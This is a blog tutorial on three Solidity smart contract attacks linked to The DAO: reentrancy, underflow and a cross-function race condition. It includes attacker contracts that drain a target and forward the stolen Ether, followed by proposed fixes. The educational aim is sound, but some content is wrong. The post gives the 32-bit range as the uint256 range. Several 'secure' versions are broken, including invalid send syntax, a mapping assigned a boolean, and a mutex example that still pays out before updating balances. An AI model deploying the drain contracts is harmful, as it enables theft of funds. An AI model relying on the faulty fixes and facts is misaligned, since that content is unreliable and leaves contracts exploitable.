Before you go, check out these stories!

0
Hackernoon logoSmart Contract Attacks [Part 1] - 3 Attacks We Should All Learn From The DAO by@petehumiston

Smart Contract Attacks [Part 1] - 3 Attacks We Should All Learn From The DAO

Author profile picture

@petehumistonPete Humiston

If you’ve been following the crypto long enough you’ve probably heard of one or two smart contract attacks, attacks which have resulted in the theft of cryptoassets worth tens of millions of dollars. The most notable attack remains the Decentralized Autonomous Organization (DAO), one of crypto’s most highly anticipated projects of all time and a poster-child of the revolutionary capabilities of smart contracts. While most have heard of these attacks, few truly understand what went wrong, how it went wrong, and how to avoid making the same mistake twice.

Smart contracts are dynamic, complex, and incredibly powerful. While their potential is unimaginable, its unlikely they’ll become attack-proof overnight. That said, it’s imperative for the future of crypto that we all learn from prior mistakes and grow together. Although the DAO is a thing of the past, it remains a great example of susceptible smart contract attacks that developers, investors, and community members should familiarize themselves with.

In Part 1 of my Smart Contract Attacks series, I’ll be walking you through in great detail (Solidity code included) 3 common attacks we can learn from the DAO. Whether you’re a developer, investor, or fan of crypto, being knowledgeable on these attacks will equip you with a deeper understanding and appreciation for this promising tech.

Follow Me on Twitter

Want to Write Your First Smart Contract? Check Out My Tutorial

Attack #1: Reentrancy

A reentrancy attack occurs when the attacker drains funds from the target by recursively calling the target’s withdraw function, as was the case with the DAO. When the contract fails to update its state (a user’s balance) prior to sending funds, the attacker can continuously call the withdraw function to drain the contract’s funds. Anytime the attacker receives Ether, the attacker’s contract automatically calls its fallback function, function (), which is written to call the withdraw function yet again. At this point the attack has entered a recursive loop and the contract’s funds start to siphon off to the attacker. Because the target contract gets stuck calling the attacker’s fallback function, the contract is never able to update the attacker’s balance. The target contract is tricked into thinking nothing is wrong... To be clear, a fallback functions is a contract’s function that is automatically executed whenever the contract receives Ether and zero data.

The Attack

  1. The attacker donates ether to the target contract
  2. The target contract updates the attacker’s balance for the donated Ether
  3. The attacker requests the funds back
  4. Funds are sent back
  5. The attacker’s fallback function is triggered and calls for a subsequent withdrawal
  6. The smart contract’s logic to update the attacker’s balance has yet to be executed, thus the withdraw is successfully called again
  7. Funds are sent to the attacker
  8. Steps 5–7 repeat
  9. Once the attack is over, the attacker sends funds from their contract to their personal address
The recursive loop of a reentrancy attack

Unfortunately there is no way to stop the attack once it has started. The attacker’s withdrawal function will be called over and over again until the contract either runs out of gas or the victim’s ether balance has been depleted.

The Code
Below is a simplified version of the susceptible DAO contract, which includes comments to better understand the contract for those unfamiliar with programming/solidity.

contract babyDAO {

/* assign key/value pair so we can look up
credit integers with an ETH address */
mapping (address => uint256) public credit;

/* a function for funds to be added to the contract,
sender will be credited amount sent */
function donate(address to) payable {
credit[msg.sender] += msg.value;
}


/*show ether credited to address*/
function assignedCredit(address) returns (uint) {
return credit[msg.sender];
}


/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
msg.sender.call.value(amount)();
credit[msg.sender] -= amount;

}
}
}

If we take a look at function withdraw() we can see that the DAO contact uses address.call.value() to send funds to the msg.sender. Not only that, but the contract updates the state of credit[msg.sender] after the funds have been sent. Both are a big no-no. Recognizing these vulnerabilities in the contract code, an attacker could use a contract like contract ThisIsAHodlUp {} below to liquidate all of contract babyDAO{} funds.

import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {

/* assign babyDAO contract as "dao" */
babyDAO public dao = babyDAO(0x2ae...);
address owner;

/*assign contract creator as owner*/
constructor(ThisIsAHodlUp) public {
owner = msg.sender;
}
    /*fallback function, withdraws funds from babyDAO*/
function() public {
dao.withdraw(dao.assignedCredit(this));
}


/*send drained funds to attacker’s address*/
function drainFunds() payable public{
owner.transfer(address(this).balance);
}
}

Notice that the fallback function, function(), calls the withdraw function of dao, or contract babyDAO{}, to steal funds from the contract. On the other hand, function drainFunds() will be called at the end of the attack when the attacker wants to send all of the stolen ether to their address.

The Solution
By now it should be clear that reentrancy attacks take advantage of two particular smart contract vulnerabilities. The first being when a contract’s state is updated AFTER funds have been sent and not BEFORE. By failing to update the contract state prior to sending funds, the function can be interrupted mid-computation and the contract will be tricked into thinking the funds haven’t actually been sent yet. The second vulnerability is when the contract incorrectly uses address.call.value() to send funds, as opposed to address.transfer() or address.send() . Both are limited to a stipend of 2,300 gas, enough to merely log an event and NOT multiple external calls.

contract babyDAO{
    ....
    function withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
credit[msg.sender] -= amount;
/* updates balance first */
msg.sender.send(amount)();
/* send funds properly */
}
}

Attack 2: Underflow

Although the DAO contract didn’t fall victim to an underflow attack, we can leverage our existing babyDAO contract{} to better understand how this all too common attack that could have also occurred.

First things first, let’s make sure we understand what an uint256 is. A uint256 is an unsigned integer of 256 bits (unsigned, as in only positive integers). The Ethereum Virtual Machine was designed to use 256 bits as its word size, or the number of bits processed by a computer’s CPU in one go. Because EVM is limited to 256 bits in size, the assigned number range is 0 to 4,294,967,295 (2²⁵⁶). If we go over this range, the figure is reset to the bottom of the range (2²⁵⁶ + 1 = 0). If we go under this range, the figure is reset to the top end of the range (0–1= 2²⁵⁶).

Underflow takes place when we subtract a number greater than zero from zero, resulting in a newly assigned integer of 2²⁵⁶. Now, if an attacker’s balance experiences underflow, the balance would be updated such that all funds could be stolen.

The Attack

  • The attacker initiates the attack by sending 1 Wei to the target contract
  • The contract credits the sender for funds sent
  • A subsequent withdrawal of the same 1 Wei is called
  • The contract subtracts 1 Wei from the sender’s credit, now the balance is zero again
  • Because the target contract sends ether to the attacker, the attacker’s fallback function is also trigger and a withdrawal is called again
  • The withdrawal of 1 Wei is recorded
  • The balance of the attacker’s contract has been updated twice, the first time to zero and the second time to -1
  • The attacker’s balance is reset to 2²⁵⁶
  • The attacker completes the attack by withdrawing all of the funds of the targeted contract

The Code

import ‘browser/babyDAO’;
contract UnderflowAttack {

babyDAO public dao = babyDAO(0x2ae…);
address owner;
bool performAttack = true;

/*set contract creator as owner*/
constructor{ owner = msg.sender;}

/*donate 1 wei, withdraw 1 wei*/
function attack() {
dao.donate.value(1)(this);
dao.withdraw(1);
}


/*fallback function, results in 0–1 = 2**256 */
function() {
if (performAttack) {
performAttack = false;
dao.withdraw(1);
}
}


/*extract balance from smart contract*/
function getJackpot() {
dao.withdraw(dao.balance);
owner.send(this.balance);
}

}

The Solution
To avoid falling victim to an underflow attack, best practice is to check if the updated integer stays within its byte range. We can add a parameter check in our code to act as a last line of defense. The first line of function withdraw() checks for adequate funds, the second checks for overflow, and the third checks for underflow.

contract babysDAO{

....

/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] >= amount
&& credit[msg.sender] + amount >= credit[msg.sender]
&& credit[msg.sender] - amount <= credit[msg.sender]) {
credit[msg.sender] -= amount;
msg.sender.send(amount)();
}
}

Notice that our code above also updates the user’s balance BEFORE sending funds, as discussed earlier.

Attack #3: Cross-Function Race Condition

Last but not least, the Cross-Function Race Condition Attack. As discussed in in our Reentrancy attack, the DAO contract failed to correctly update the contract state and allowed for funds to be stolen. Part of the issue with the DAO and external calls in general is the potential for a Cross-Function Race Condition to occur.

While all transactions in Ethereum run serially (one after another), external calls (a call to another contract or address) can become a recipe for disaster if not properly managed. In a perfect world, they’re avoided entirely. A cross-function race condition occurs when two functions are called and share the same state. The contract is tricked into thinking that two contract states exist, when in reality there is only one true contract state that can exists. We can’t have X = 3 and X = 4 at the same time…

Let’s clarify this concept with an example.

The Attack & The Code

contract crossFunctionRace{

mapping (address => uint) private userBalances;
    /* uses userBalances to transfer funds */
function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
    /* uses userBalances to withdraw funds */
function withdrawalBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.send(amountToWithdraw)());
userBalances[msg.sender] = 0;
}
}

The contract above has two functions — one for transferring funds and another for withdrawing funds. Let’s assume that an attacker calls function transfer() while simultaneously making the external call function withdrawalBalance(). The state of userBalance[msg.sender] is being pulled in two different directions. The user’s balance not yet been set 0, but the attacker will also be able to transfer funds despite the fact they’ve already been withdrawn. In this case the contract has allowed for the attacker to double spend, one of the problems blockchain technology was designed to solve.

Note: Cross-function race conditions can occur across multiple contracts if those contracts share state.

  • Finishing all internal work first before calling external functions
  • Avoid making external calls
  • Marking external call functions as “untrusted” when unavoidable
  • Using a mutex when external calls are unavoidable

Per the contract below, we can see an example of a contract that 1). conducts internal work prior to making external calls and 2). marks all external call functions as “untrusted”. Our contract allows for funds to be sent to an address and allows users a one-time reward for having initially deposited funds into the contract.

contract crossFunctionRace{

mapping (address => uint) private userBalances;
mapping (address => uint) private reward;
mapping (address => bool) private claimedReward;
    //makes external call, need to mark as untrusted
function untrustedWithdraw(address recipient) public {
uint amountWithdraw = userBalances[recipient];
reward[recipient] = 0;
require(recipient.call.value(amountWithdraw)());
}

//untrusted because withdraw is called, an external call
function untrustedGetReward(address recipient) public {
        //check that reward hasn’t already been claimed
require(!claimedReward[recipient]);

//internal work first (claimedReward and assigning reward)
claimedReward = true;
reward[recipient] += 100;
untrustedWithdraw(recipient);
}
}

As one can see, the contract’s first function makes an external call when sending funds to a user’s contract/address. Likewise, the reward function also uses the withdraw function for sending the one-time reward and is thus untrusted as well. Just as important, the contract executes all internal work first. Like our reentrancy attack example, function untrustedGetReward() grants the user credit for his/her one time reward before allowing for withdraw to prevent a cross-function race condition from occurring.

In a perfect world, smart contracts do not need to rely on making external calls. The reality is that external calls in many cases are next to impossible to work around. For that reason, using a mutex to “lock” some state and granting only the owner the ability to change the state can help avoid a costly disaster. Although mutexes are incredibly effective, they can get tricky when used for multiple contracts. If you use mutexes to protect against race conditions, you will need to carefully ensure that there are no other ways for a lock to be claimed and never released. If going the mutex way, make sure you’ve thoroughly understand the potential dangers when writing contracts with them (deadlocks, livelocks, etc.).

contract mutexExample{

mapping (address => uint) private balances;
bool private lockBalances;

function deposit() payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances);
        /*lock, execute, unlock */
lockBalances = true;
balances[msg.sender] += msg.value;
lockBalances = false;
return true;
}

function withdraw(uint amount) payable public returns (bool) {
        /*check if lockBalances is unlocked before proceeding*/
require(!lockBalances && amount > 0 && balances[msg.sender]
>= amount);
        /*lock, execute, unlock*/
lockBalances = true;

if (msg.sender.call(amount)()) {
balances[msg.sender] -= amount;
}

lockBalances = false;
return true;
}
}

Above we can see contract mutexExample() has private lock states for executing function deposit() and function withdraw() . The lock will stop users from successfully calling withdraw() before the first call finishes, preventing any sort of cross-function race condition from occurring.

At The End of The Day…

With great power comes great responsibility. Although blockchain and smart contract technology continues to evolve day by day, the stakes remain high. Attackers have not let up on looking for the right opportunity to pounce on poorly designed contracts and run away with the goods. It’s on all of us to ensure that we learn from the failures of our peers, as well as ourselves, if we so desire to grow and push boundaries. Hopefully through this post, and the rest of my series, you’ll have walked away feeling more confident in your understanding of smart contract attacks and smart contracts in general. Feel free to follow me on Medium & Twitter (@Pete_Humiston) for more upcoming content on Crypto, Blockchain, and Solidity.

-Pete Humiston

If you enjoyed this post, feel free to give a “clap” and/or leave a comment below!

Tags

The Noonification banner

Subscribe to get your daily round-up of top tech stories!